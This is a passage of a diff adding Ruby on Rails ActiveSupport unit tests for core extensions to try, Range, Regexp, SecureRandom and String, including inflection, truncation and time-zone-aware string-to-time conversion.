+    assert_nil nil.try(:to_i)
+  end
+
+  def test_false_try
+    assert_equal "false", false.try(:to_s)
+  end
+
+  def test_try_only_block
+    assert_equal @string.reverse, @string.try(&:reverse)
+  end
+
+  def test_try_only_block_bang
+    assert_equal @string.reverse, @string.try!(&:reverse)
+  end
+
+  def test_try_only_block_nil
+    ran = false
+    nil.try { ran = true }
+    assert_equal false, ran
+  end
+
+  def test_try_with_instance_eval_block
+    assert_equal @string.reverse, @string.try { reverse }
+  end
+
+  def test_try_with_instance_eval_block_bang
+    assert_equal @string.reverse, @string.try! { reverse }
+  end
+
+  def test_try_with_private_method_bang
+    klass = Class.new do
+      private
+
+        def private_method
+          "private method"
+        end
+    end
+
+    assert_raise(NoMethodError) { klass.new.try!(:private_method) }
+  end
+
+  def test_try_with_private_method
+    klass = Class.new do
+      private
+
+        def private_method
+          "private method"
+        end
+    end
+
+    assert_nil klass.new.try(:private_method)
+  end
+
+  class Decorator < SimpleDelegator
+    def delegator_method
+      "delegator method"
+    end
+
+    def reverse
+      "overridden reverse"
+    end
+
+    private
+
+      def private_delegator_method
+        "private delegator method"
+      end
+  end
+
+  def test_try_with_method_on_delegator
+    assert_equal "delegator method", Decorator.new(@string).try(:delegator_method)
+  end
+
+  def test_try_with_method_on_delegator_target
+    assert_equal 5, Decorator.new(@string).size
+  end
+
+  def test_try_with_overridden_method_on_delegator
+    assert_equal "overridden reverse", Decorator.new(@string).reverse
+  end
+
+  def test_try_with_private_method_on_delegator
+    assert_nil Decorator.new(@string).try(:private_delegator_method)
+  end
+
+  def test_try_with_private_method_on_delegator_bang
+    assert_raise(NoMethodError) do
+      Decorator.new(@string).try!(:private_delegator_method)
+    end
+  end
+
+  def test_try_with_private_method_on_delegator_target
+    klass = Class.new do
+      private
+
+        def private_method
+          "private method"
+        end
+    end
+
+    assert_nil Decorator.new(klass.new).try(:private_method)
+  end
+
+  def test_try_with_private_method_on_delegator_target_bang
+    klass = Class.new do
+      private
+
+        def private_method
+          "private method"
+        end
+    end
+
+    assert_raise(NoMethodError) do
+      Decorator.new(klass.new).try!(:private_method)
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/range_ext_test.rb b/activesupport/test/core_ext/range_ext_test.rb
new file mode 100644
index 0000000000..a96e3d62e8
--- /dev/null
+++ b/activesupport/test/core_ext/range_ext_test.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "active_support/core_ext/numeric"
+require "active_support/core_ext/range"
+
+class RangeTest < ActiveSupport::TestCase
+  def test_to_s_from_dates
+    date_range = Date.new(2005, 12, 10)..Date.new(2005, 12, 12)
+    assert_equal "BETWEEN '2005-12-10' AND '2005-12-12'", date_range.to_s(:db)
+  end
+
+  def test_to_s_from_times
+    date_range = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+    assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_s(:db)
+  end
+
+  def test_to_s_with_numeric
+    number_range = (1..100)
+    assert_equal "BETWEEN '1' AND '100'", number_range.to_s(:db)
+  end
+
+  def test_date_range
+    assert_instance_of Range, DateTime.new..DateTime.new
+    assert_instance_of Range, DateTime::Infinity.new..DateTime::Infinity.new
+    assert_instance_of Range, DateTime.new..DateTime::Infinity.new
+  end
+
+  def test_overlaps_last_inclusive
+    assert((1..5).overlaps?(5..10))
+  end
+
+  def test_overlaps_last_exclusive
+    assert !(1...5).overlaps?(5..10)
+  end
+
+  def test_overlaps_first_inclusive
+    assert((5..10).overlaps?(1..5))
+  end
+
+  def test_overlaps_first_exclusive
+    assert !(5..10).overlaps?(1...5)
+  end
+
+  def test_should_include_identical_inclusive
+    assert((1..10).include?(1..10))
+  end
+
+  def test_should_include_identical_exclusive
+    assert((1...10).include?(1...10))
+  end
+
+  def test_should_include_other_with_exclusive_end
+    assert((1..10).include?(1...10))
+  end
+
+  def test_should_compare_identical_inclusive
+    assert((1..10) === (1..10))
+  end
+
+  def test_should_compare_identical_exclusive
+    assert((1...10) === (1...10))
+  end
+
+  def test_should_compare_other_with_exclusive_end
+    assert((1..10) === (1...10))
+  end
+
+  def test_exclusive_end_should_not_include_identical_with_inclusive_end
+    assert_not_includes (1...10), 1..10
+  end
+
+  def test_should_not_include_overlapping_first
+    assert_not_includes (2..8), 1..3
+  end
+
+  def test_should_not_include_overlapping_last
+    assert_not_includes (2..8), 5..9
+  end
+
+  def test_should_include_identical_exclusive_with_floats
+    assert((1.0...10.0).include?(1.0...10.0))
+  end
+
+  def test_cover_is_not_override
+    range = (1..3)
+    assert range.method(:include?) != range.method(:cover?)
+  end
+
+  def test_overlaps_on_time
+    time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+    time_range_2 = Time.utc(2005, 12, 10, 17, 00)..Time.utc(2005, 12, 10, 18, 00)
+    assert time_range_1.overlaps?(time_range_2)
+  end
+
+  def test_no_overlaps_on_time
+    time_range_1 = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
+    time_range_2 = Time.utc(2005, 12, 10, 17, 31)..Time.utc(2005, 12, 10, 18, 00)
+    assert !time_range_1.overlaps?(time_range_2)
+  end
+
+  def test_each_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"] , Time.utc(2006, 11, 28, 10, 30))
+    assert_raises TypeError do
+      ((twz - 1.hour)..twz).each {}
+    end
+  end
+
+  def test_step_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"] , Time.utc(2006, 11, 28, 10, 30))
+    assert_raises TypeError do
+      ((twz - 1.hour)..twz).step(1) {}
+    end
+  end
+
+  def test_include_on_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Eastern Time (US & Canada)"] , Time.utc(2006, 11, 28, 10, 30))
+    assert_raises TypeError do
+      ((twz - 1.hour)..twz).include?(twz)
+    end
+  end
+
+  def test_date_time_with_each
+    datetime = DateTime.now
+    assert(((datetime - 1.hour)..datetime).each {})
+  end
+
+  def test_date_time_with_step
+    datetime = DateTime.now
+    assert(((datetime - 1.hour)..datetime).step(1) {})
+  end
+end
diff --git a/activesupport/test/core_ext/regexp_ext_test.rb b/activesupport/test/core_ext/regexp_ext_test.rb
new file mode 100644
index 0000000000..5737bdafda
--- /dev/null
+++ b/activesupport/test/core_ext/regexp_ext_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/regexp"
+
+class RegexpExtAccessTests < ActiveSupport::TestCase
+  def test_multiline
+    assert_equal true, //m.multiline?
+    assert_equal false, //.multiline?
+    assert_equal false, /(?m:)/.multiline?
+  end
+
+  # Based on https://github.com/ruby/ruby/blob/trunk/test/ruby/test_regexp.rb.
+  def test_match_p
+    /back(...)/ =~ "backref"
+    # must match here, but not in a separate method, e.g., assert_send,
+    # to check if $~ is affected or not.
+    assert_equal false, //.match?(nil)
+    assert_equal true, //.match?("")
+    assert_equal true, /.../.match?(:abc)
+    assert_raise(TypeError) { /.../.match?(Object.new) }
+    assert_equal true, /b/.match?("abc")
+    assert_equal true, /b/.match?("abc", 1)
+    assert_equal true, /../.match?("abc", 1)
+    assert_equal true, /../.match?("abc", -2)
+    assert_equal false, /../.match?("abc", -4)
+    assert_equal false, /../.match?("abc", 4)
+    assert_equal true, /\z/.match?("")
+    assert_equal true, /\z/.match?("abc")
+    assert_equal true, /R.../.match?("Ruby")
+    assert_equal false, /R.../.match?("Ruby", 1)
+    assert_equal false, /P.../.match?("Ruby")
+    assert_equal "backref", $&
+    assert_equal "ref", $1
+  end
+end
diff --git a/activesupport/test/core_ext/secure_random_test.rb b/activesupport/test/core_ext/secure_random_test.rb
new file mode 100644
index 0000000000..7067fb524c
--- /dev/null
+++ b/activesupport/test/core_ext/secure_random_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/securerandom"
+
+class SecureRandomTest < ActiveSupport::TestCase
+  def test_base58
+    s1 = SecureRandom.base58
+    s2 = SecureRandom.base58
+
+    assert_not_equal s1, s2
+    assert_equal 16, s1.length
+  end
+
+  def test_base58_with_length
+    s1 = SecureRandom.base58(24)
+    s2 = SecureRandom.base58(24)
+
+    assert_not_equal s1, s2
+    assert_equal 24, s1.length
+  end
+end
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
new file mode 100644
index 0000000000..0afff5aa50
--- /dev/null
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -0,0 +1,925 @@
+# frozen_string_literal: true
+
+require "date"
+require "abstract_unit"
+require "timeout"
+require "inflector_test_cases"
+require "constantize_test_cases"
+
+require "active_support/inflector"
+require "active_support/core_ext/string"
+require "active_support/time"
+require "active_support/core_ext/string/strip"
+require "active_support/core_ext/string/output_safety"
+require "active_support/core_ext/string/indent"
+require "time_zone_test_helpers"
+require "yaml"
+
+class StringInflectionsTest < ActiveSupport::TestCase
+  include InflectorTestCases
+  include ConstantizeTestCases
+  include TimeZoneTestHelpers
+
+  def test_strip_heredoc_on_an_empty_string
+    assert_equal "", "".strip_heredoc
+  end
+
+  def test_strip_heredoc_on_a_string_with_no_lines
+    assert_equal "x", "x".strip_heredoc
+    assert_equal "x", "    x".strip_heredoc
+  end
+
+  def test_strip_heredoc_on_a_heredoc_with_no_margin
+    assert_equal "foo\nbar", "foo\nbar".strip_heredoc
+    assert_equal "foo\n  bar", "foo\n  bar".strip_heredoc
+  end
+
+  def test_strip_heredoc_on_a_regular_indented_heredoc
+    assert_equal "foo\n  bar\nbaz\n", <<-EOS.strip_heredoc
+      foo
+        bar
+      baz
+    EOS
+  end
+
+  def test_strip_heredoc_on_a_regular_indented_heredoc_with_blank_lines
+    assert_equal "foo\n  bar\n\nbaz\n", <<-EOS.strip_heredoc
+      foo
+        bar
+
+      baz
+    EOS
+  end
+
+  def test_pluralize
+    SingularToPlural.each do |singular, plural|
+      assert_equal(plural, singular.pluralize)
+    end
+
+    assert_equal("plurals", "plurals".pluralize)
+
+    assert_equal("blargles", "blargle".pluralize(0))
+    assert_equal("blargle", "blargle".pluralize(1))
+    assert_equal("blargles", "blargle".pluralize(2))
+  end
+
+  test "pluralize with count = 1 still returns new string" do
+    name = "Kuldeep"
+    assert_not_same name.pluralize(1), name
+  end
+
+  def test_singularize
+    SingularToPlural.each do |singular, plural|
+      assert_equal(singular, plural.singularize)
+    end
+  end
+
+  def test_titleize
+    MixtureToTitleCase.each do |before, titleized|
+      assert_equal(titleized, before.titleize)
+    end
+  end
+
+  def test_titleize_with_keep_id_suffix
+    MixtureToTitleCaseWithKeepIdSuffix.each do |before, titleized|
+      assert_equal(titleized, before.titleize(keep_id_suffix: true))
+    end
+  end
+
+  def test_upcase_first
+    assert_equal "What a Lovely Day", "what a Lovely Day".upcase_first
+  end
+
+  def test_upcase_first_with_one_char
+    assert_equal "W", "w".upcase_first
+  end
+
+  def test_upcase_first_with_empty_string
+    assert_equal "", "".upcase_first
+  end
+
+  def test_camelize
+    CamelToUnderscore.each do |camel, underscore|
+      assert_equal(camel, underscore.camelize)
+    end
+  end
+
+  def test_camelize_lower
+    assert_equal("capital", "Capital".camelize(:lower))
+  end
+
+  def test_dasherize
+    UnderscoresToDashes.each do |underscored, dasherized|
+      assert_equal(dasherized, underscored.dasherize)
+    end
+  end
+
+  def test_underscore
+    CamelToUnderscore.each do |camel, underscore|
+      assert_equal(underscore, camel.underscore)
+    end
+
+    assert_equal "html_tidy", "HTMLTidy".underscore
+    assert_equal "html_tidy_generator", "HTMLTidyGenerator".underscore
+  end
+
+  def test_underscore_to_lower_camel
+    UnderscoreToLowerCamel.each do |underscored, lower_camel|
+      assert_equal(lower_camel, underscored.camelize(:lower))
+    end
+  end
+
+  def test_demodulize
+    assert_equal "Account", "MyApplication::Billing::Account".demodulize
+  end
+
+  def test_deconstantize
+    assert_equal "MyApplication::Billing", "MyApplication::Billing::Account".deconstantize
+  end
+
+  def test_foreign_key
+    ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|
+      assert_equal(foreign_key, klass.foreign_key)
+    end
+
+    ClassNameToForeignKeyWithoutUnderscore.each do |klass, foreign_key|
+      assert_equal(foreign_key, klass.foreign_key(false))
+    end
+  end
+
+  def test_tableize
+    ClassNameToTableName.each do |class_name, table_name|
+      assert_equal(table_name, class_name.tableize)
+    end
+  end
+
+  def test_classify
+    ClassNameToTableName.each do |class_name, table_name|
+      assert_equal(class_name, table_name.classify)
+    end
+  end
+
+  def test_string_parameterized_normal
+    StringToParameterized.each do |normal, slugged|
+      assert_equal(slugged, normal.parameterize)
+    end
+  end
+
+  def test_string_parameterized_normal_preserve_case
+    StringToParameterizedPreserveCase.each do |normal, slugged|
+      assert_equal(slugged, normal.parameterize(preserve_case: true))
+    end
+  end
+
+  def test_string_parameterized_no_separator
+    StringToParameterizeWithNoSeparator.each do |normal, slugged|
+      assert_equal(slugged, normal.parameterize(separator: ""))
+    end
+  end
+
+  def test_string_parameterized_no_separator_preserve_case
+    StringToParameterizePreserveCaseWithNoSeparator.each do |normal, slugged|
+      assert_equal(slugged, normal.parameterize(separator: "", preserve_case: true))
+    end
+  end
+
+  def test_string_parameterized_underscore
+    StringToParameterizeWithUnderscore.each do |normal, slugged|
+      assert_equal(slugged, normal.parameterize(separator: "_"))
+    end
+  end
+
+  def test_string_parameterized_underscore_preserve_case
+    StringToParameterizePreserceCaseWithUnderscore.each do |normal, slugged|
+      assert_equal(slugged, normal.parameterize(separator: "_", preserve_case: true))
+    end
+  end
+
+  def test_humanize
+    UnderscoreToHuman.each do |underscore, human|
+      assert_equal(human, underscore.humanize)
+    end
+  end
+
+  def test_humanize_without_capitalize
+    UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+      assert_equal(human, underscore.humanize(capitalize: false))
+    end
+  end
+
+  def test_humanize_with_keep_id_suffix
+    UnderscoreToHumanWithKeepIdSuffix.each do |underscore, human|
+      assert_equal(human, underscore.humanize(keep_id_suffix: true))
+    end
+  end
+
+  def test_humanize_with_html_escape
+    assert_equal "Hello", ERB::Util.html_escape("hello").humanize
+  end
+
+  def test_ord
+    assert_equal 97, "a".ord
+    assert_equal 97, "abc".ord
+  end
+
+  def test_starts_ends_with_alias
+    s = "hello"
+    assert s.starts_with?("h")
+    assert s.starts_with?("hel")
+    assert !s.starts_with?("el")
+
+    assert s.ends_with?("o")
+    assert s.ends_with?("lo")
+    assert !s.ends_with?("el")
+  end
+
+  def test_string_squish
+    original = %{\u205f\u3000 A string surrounded by various unicode spaces,
+      with tabs(\t\t), newlines(\n\n), unicode nextlines(\u0085\u0085) and many spaces(  ). \u00a0\u2007}.dup
+
+    expected = "A string surrounded by various unicode spaces, " \
+      "with tabs( ), newlines( ), unicode nextlines( ) and many spaces( )."
+
+    # Make sure squish returns what we expect:
+    assert_equal expected, original.squish
+    # But doesn't modify the original string:
+    assert_not_equal expected, original
+
+    # Make sure squish! returns what we expect:
+    assert_equal expected, original.squish!
+    # And changes the original string:
+    assert_equal expected, original
+  end
+
+  def test_string_inquiry
+    assert "production".inquiry.production?
+    assert !"production".inquiry.development?
+  end
+
+  def test_truncate
+    assert_equal "Hello World!", "Hello World!".truncate(12)
+    assert_equal "Hello Wor...", "Hello World!!".truncate(12)
+  end
+
+  def test_truncate_with_omission_and_separator
+    assert_equal "Hello[...]", "Hello World!".truncate(10, omission: "[...]")
+    assert_equal "Hello[...]", "Hello Big World!".truncate(13, omission: "[...]", separator: " ")
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, omission: "[...]", separator: " ")
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, omission: "[...]", separator: " ")
+  end
+
+  def test_truncate_with_omission_and_regexp_separator
+    assert_equal "Hello[...]", "Hello Big World!".truncate(13, omission: "[...]", separator: /\s/)
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate(14, omission: "[...]", separator: /\s/)
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate(15, omission: "[...]", separator: /\s/)
+  end
+
+  def test_truncate_words
+    assert_equal "Hello Big World!", "Hello Big World!".truncate_words(3)
+    assert_equal "Hello Big...", "Hello Big World!".truncate_words(2)
+  end
+
+  def test_truncate_words_with_omission
+    assert_equal "Hello Big World!", "Hello Big World!".truncate_words(3, omission: "[...]")
+    assert_equal "Hello Big[...]", "Hello Big World!".truncate_words(2, omission: "[...]")
+  end
+
+  def test_truncate_words_with_separator
+    assert_equal "Hello<br>Big<br>World!...", "Hello<br>Big<br>World!<br>".truncate_words(3, separator: "<br>")
+    assert_equal "Hello<br>Big<br>World!", "Hello<br>Big<br>World!".truncate_words(3, separator: "<br>")
+    assert_equal "Hello\n<br>Big...", "Hello\n<br>Big<br>Wide<br>World!".truncate_words(2, separator: "<br>")
+  end
+
+  def test_truncate_words_with_separator_and_omission
+    assert_equal "Hello<br>Big<br>World![...]", "Hello<br>Big<br>World!<br>".truncate_words(3, omission: "[...]", separator: "<br>")
+    assert_equal "Hello<br>Big<br>World!", "Hello<br>Big<br>World!".truncate_words(3, omission: "[...]", separator: "<br>")
+  end
+
+  def test_truncate_words_with_complex_string
+    Timeout.timeout(10) do
+      complex_string = "aa aa aaa aa aaa aaa aaa aa aaa aaa aaa aaa aaa aaa aaa aaa aaa aaa aaaa aaaaa aaaaa aaaaaa aa aa aa aaa aa  aaa aa aa aa aa a aaa aaa \n a aaa <<s"
+      assert_equal complex_string, complex_string.truncate_words(80)
+    end
+  rescue Timeout::Error
+    assert false
+  end
+
+  def test_truncate_multibyte
+    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".dup.force_encoding(Encoding::UTF_8),
+      "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".dup.force_encoding(Encoding::UTF_8).truncate(10)
+  end
+
+  def test_truncate_should_not_be_html_safe
+    assert !"Hello World!".truncate(12).html_safe?
+  end
+
+  def test_remove
+    original = "This is a good day to die"
+    assert_equal "This is a good day", original.remove(" to die")
+    assert_equal "This is a good day", original.remove(" to ", /die/)
+    assert_equal "This is a good day to die", original
+  end
+
+  def test_remove_for_multiple_occurrences
+    original = "This is a good day to die to die"
+    assert_equal "This is a good day", original.remove(" to die")
+    assert_equal "This is a good day to die to die", original
+  end
+
+  def test_remove!
+    original = "This is a very good day to die".dup
+    assert_equal "This is a good day to die", original.remove!(" very")
+    assert_equal "This is a good day to die", original
+    assert_equal "This is a good day", original.remove!(" to ", /die/)
+    assert_equal "This is a good day", original
+  end
+
+  def test_constantize
+    run_constantize_tests_on(&:constantize)
+  end
+
+  def test_safe_constantize
+    run_safe_constantize_tests_on(&:safe_constantize)
+  end
+end
+
+class StringAccessTest < ActiveSupport::TestCase
+  test "#at with Integer, returns a substring of one character at that position" do
+    assert_equal "h", "hello".at(0)
+  end
+
+  test "#at with Range, returns a substring containing characters at offsets" do
+    assert_equal "lo", "hello".at(-2..-1)
+  end
+
+  test "#at with Regex, returns the matching portion of the string" do
+    assert_equal "lo", "hello".at(/lo/)
+    assert_nil "hello".at(/nonexisting/)
+  end
+
+  test "#from with positive Integer, returns substring from the given position to the end" do
+    assert_equal "llo", "hello".from(2)
+  end
+
+  test "#from with negative Integer, position is counted from the end" do
+    assert_equal "lo", "hello".from(-2)
+  end
+
+  test "#to with positive Integer, substring from the beginning to the given position" do
+    assert_equal "hel", "hello".to(2)
+  end
+
+  test "#to with negative Integer, position is counted from the end" do
+    assert_equal "hell", "hello".to(-2)
+  end
+
+  test "#from and #to can be combined" do
+    assert_equal "hello", "hello".from(0).to(-1)
+    assert_equal "ell", "hello".from(1).to(-2)
+  end
+
+  test "#first returns the first character" do
+    assert_equal "h", "hello".first
+    assert_equal "x", "x".first
+  end
+
+  test "#first with Integer, returns a substring from the beginning to position" do
+    assert_equal "he", "hello".first(2)
+    assert_equal "", "hello".first(0)
+    assert_equal "hello", "hello".first(10)
+    assert_equal "x", "x".first(4)
+  end
+
+  test "#first with Integer >= string length still returns a new string" do
+    string = "hello"
+    different_string = string.first(5)
+    assert_not_same different_string, string
+  end
+
+  test "#last returns the last character" do
+    assert_equal "o", "hello".last
+    assert_equal "x", "x".last
+  end
+
+  test "#last with Integer, returns a substring from the end to position" do
+    assert_equal "llo", "hello".last(3)
+    assert_equal "hello", "hello".last(10)
+    assert_equal "", "hello".last(0)
+    assert_equal "x", "x".last(4)
+  end
+
+  test "#last with Integer >= string length still returns a new string" do
+    string = "hello"
+    different_string = string.last(5)
+    assert_not_same different_string, string
+  end
+
+  test "access returns a real string" do
+    hash = {}
+    hash["h"] = true
+    hash["hello123".at(0)] = true
+    assert_equal %w(h), hash.keys
+
+    hash = {}
+    hash["llo"] = true
+    hash["hello".from(2)] = true
+    assert_equal %w(llo), hash.keys
+
+    hash = {}
+    hash["hel"] = true
+    hash["hello".to(2)] = true
+    assert_equal %w(hel), hash.keys
+
+    hash = {}
+    hash["hello"] = true
+    hash["123hello".last(5)] = true
+    assert_equal %w(hello), hash.keys
+
+    hash = {}
+    hash["hello"] = true
+    hash["hello123".first(5)] = true
+    assert_equal %w(hello), hash.keys
+  end
+end
+
+class StringConversionsTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def test_string_to_time
+    with_env_tz "Europe/Moscow" do
+      assert_equal Time.utc(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time(:utc)
+      assert_equal Time.local(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time
+      assert_equal Time.utc(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time(:utc)
+      assert_equal Time.local(2005, 2, 27, 23, 50, 19, 275038), "2005-02-27T23:50:19.275038".to_time
+      assert_equal Time.utc(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time(:utc)
+      assert_equal Time.local(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time
+      assert_equal Time.local(2011, 2, 27, 17, 50), "2011-02-27 13:50 -0100".to_time
+      assert_equal Time.utc(2011, 2, 27, 23, 50), "2011-02-27 22:50 -0100".to_time(:utc)
+      assert_equal Time.local(2005, 2, 27, 22, 50), "2005-02-27 14:50 -0500".to_time
+      assert_nil "010".to_time
+      assert_nil "".to_time
+    end
+  end
+
+  def test_string_to_time_utc_offset
+    with_env_tz "US/Eastern" do
+      if ActiveSupport.to_time_preserves_timezone
+        assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset
+        assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset)
+        assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset
+        assert_equal(-3600, "2005-02-27 22:50 -0100".to_time.utc_offset)
+      else
+        assert_equal 0, "2005-02-27 23:50".to_time(:utc).utc_offset
+        assert_equal(-18000, "2005-02-27 23:50".to_time.utc_offset)
+        assert_equal 0, "2005-02-27 22:50 -0100".to_time(:utc).utc_offset
+        assert_equal(-18000, "2005-02-27 22:50 -0100".to_time.utc_offset)
+      end
+    end
+  end
+
+  def test_partial_string_to_time
+    with_env_tz "Europe/Moscow" do # use timezone which does not observe DST.
+      now = Time.now
+      assert_equal Time.local(now.year, now.month, now.day, 23, 50), "23:50".to_time
+      assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "23:50".to_time(:utc)
+      assert_equal Time.local(now.year, now.month, now.day, 17, 50), "13:50 -0100".to_time
+      assert_equal Time.utc(now.year, now.month, now.day, 23, 50), "22:50 -0100".to_time(:utc)
+    end
+  end
+
+  def test_standard_time_string_to_time_when_current_time_is_standard_time
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2012, 1, 1)) do
+        assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time
+        assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time
+        assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time
+        assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time
+        assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time
+        assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time
+        assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc)
+      end
+    end
+  end
+
+  def test_standard_time_string_to_time_when_current_time_is_daylight_savings
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2012, 7, 1)) do
+        assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time
+        assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 -0800".to_time
+        assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 -0800".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 -0500".to_time
+        assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 -0500".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 5, 0), "2012-01-01 10:00 UTC".to_time
+        assert_equal Time.utc(2012, 1, 1, 10, 0), "2012-01-01 10:00 UTC".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 13, 0), "2012-01-01 10:00 PST".to_time
+        assert_equal Time.utc(2012, 1, 1, 18, 0), "2012-01-01 10:00 PST".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 10, 0), "2012-01-01 10:00 EST".to_time
+        assert_equal Time.utc(2012, 1, 1, 15, 0), "2012-01-01 10:00 EST".to_time(:utc)
+      end
+    end
+  end
+
+  def test_daylight_savings_string_to_time_when_current_time_is_standard_time
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2012, 1, 1)) do
+        assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time
+        assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time
+        assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time
+        assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time
+        assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time
+        assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time
+        assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc)
+      end
+    end
+  end
+
+  def test_daylight_savings_string_to_time_when_current_time_is_daylight_savings
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2012, 7, 1)) do
+        assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time
+        assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 -0700".to_time
+        assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 -0700".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 -0400".to_time
+        assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 -0400".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 6, 0), "2012-07-01 10:00 UTC".to_time
+        assert_equal Time.utc(2012, 7, 1, 10, 0), "2012-07-01 10:00 UTC".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 13, 0), "2012-07-01 10:00 PDT".to_time
+        assert_equal Time.utc(2012, 7, 1, 17, 0), "2012-07-01 10:00 PDT".to_time(:utc)
+        assert_equal Time.local(2012, 7, 1, 10, 0), "2012-07-01 10:00 EDT".to_time
+        assert_equal Time.utc(2012, 7, 1, 14, 0), "2012-07-01 10:00 EDT".to_time(:utc)
+      end
+    end
+  end
+
+  def test_partial_string_to_time_when_current_time_is_standard_time
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(2012, 1, 1)) do
+        assert_equal Time.local(2012, 1, 1, 10, 0), "10:00".to_time
+        assert_equal Time.utc(2012, 1, 1, 10, 0),  "10:00".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 6, 0), "10:00 -0100".to_time
+        assert_equal Time.utc(2012, 1, 1, 11, 0), "10:00 -0100".to_time(:utc)
+        assert_equal Time.local(2012, 1, 1, 10, 0), "10:00 -0500".to_time
